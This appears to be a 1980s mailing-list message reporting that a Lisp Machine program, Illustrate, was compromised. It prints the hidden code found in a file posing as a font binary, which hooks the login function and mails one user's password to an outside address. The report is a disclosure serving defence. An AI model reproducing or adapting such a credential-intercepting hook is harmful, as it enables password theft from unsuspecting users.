[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Compromised passwords
It appears that someone has hacked Illustrate such that it
has been collecting passwords from at least one user. The creation date
on oak:>illustrate>ill-font.bin is 08/06/85.
------------------------------
-> si:advised-functions
(CHAOS:CHAOS-SCREEN-SPY-SERVER-FUNCTION-INTERNAL FS:GET-USER-ID-AND-PASSWORD)
-> (grindef FS:GET-USER-ID-AND-PASSWORD)
(ADVISE FS:GET-USER-ID-AND-PASSWORD
:AFTER
:PATCH-242.356
0.
(PROCESS-RUN-FUNCTION "Notify" (FUNCTION SI:SEND-IT) VALUES))
(DEFF FS:GET-USER-ID-AND-PASSWORD
'#<DTP-COMPILED-FUNCTION FS:GET-USER-ID-AND-PASSWORD 11532517>)
*
-> (grindef si:send-it)
(DEFUN SI:SEND-IT (VALUES)
(IGNORE-ERRORS (WHEN (AND (STRING-EQUAL (FIRST VALUES) "PSR")
(SECOND VALUES))
(ZWEI:SEND-MESSAGE-STRING "DRM@XX"
(FORMAT NIL
"~A = ~A"
(FIRST VALUES)
(SECOND VALUES))))))
*
-> (describe 'si:send-it)
SI:SEND-IT is the function (SI:DIGESTED-LAMBDA (LAMBDA ** **) (SI:SEND-IT) ...): (VALUES)
(SI:DIGESTED-LAMBDA (LAMBDA (VALUES) (IGNORE-ERRORS (WHEN (AND ** **) (ZWEI:SEND-MESSAGE-STRING "DRM@XX" **)))) (SI:SEND-IT) 2049. 262401. NIL (VALUES) NIL (IGNORE-ERRORS (WHEN (AND (STRING-EQUAL ** "PSR") (SECOND VALUES)) (ZWEI:SEND-MESSAGE-STRING "DRM@XX" (FORMAT NIL "~A = ~A" ** **))))) is a list
SI:SEND-IT is in the SYSTEM-INTERNALS package.
SI:SEND-IT has property :SOURCE-FILE-NAME: #<LOGICAL-PATHNAME "ILL: CODE; ILL-FONT">
#<LOGICAL-PATHNAME "ILL: CODE; ILL-FONT">, an object of flavor FS:LOGICAL-PATHNAME,
has instance variable values:
FS:TRANSLATED-PATHNAME: #<LMFS-PATHNAME "OAK:>illustrate>ill-font">
FS:TRANSLATION-TICK: 5.
FS:HOST: #<LOGICAL-HOST ILL>
FS:DEVICE: :UNSPECIFIC
FS:DIRECTORY: ("CODE")
FS:NAME: "ILL-FONT"
FS:TYPE: NIL
FS:VERSION: NIL
SI:PROPERTY-LIST: NIL
FS:STRING-FOR-PRINTING: "ILL: CODE; ILL-FONT"
SI:SEND-IT
------------------------------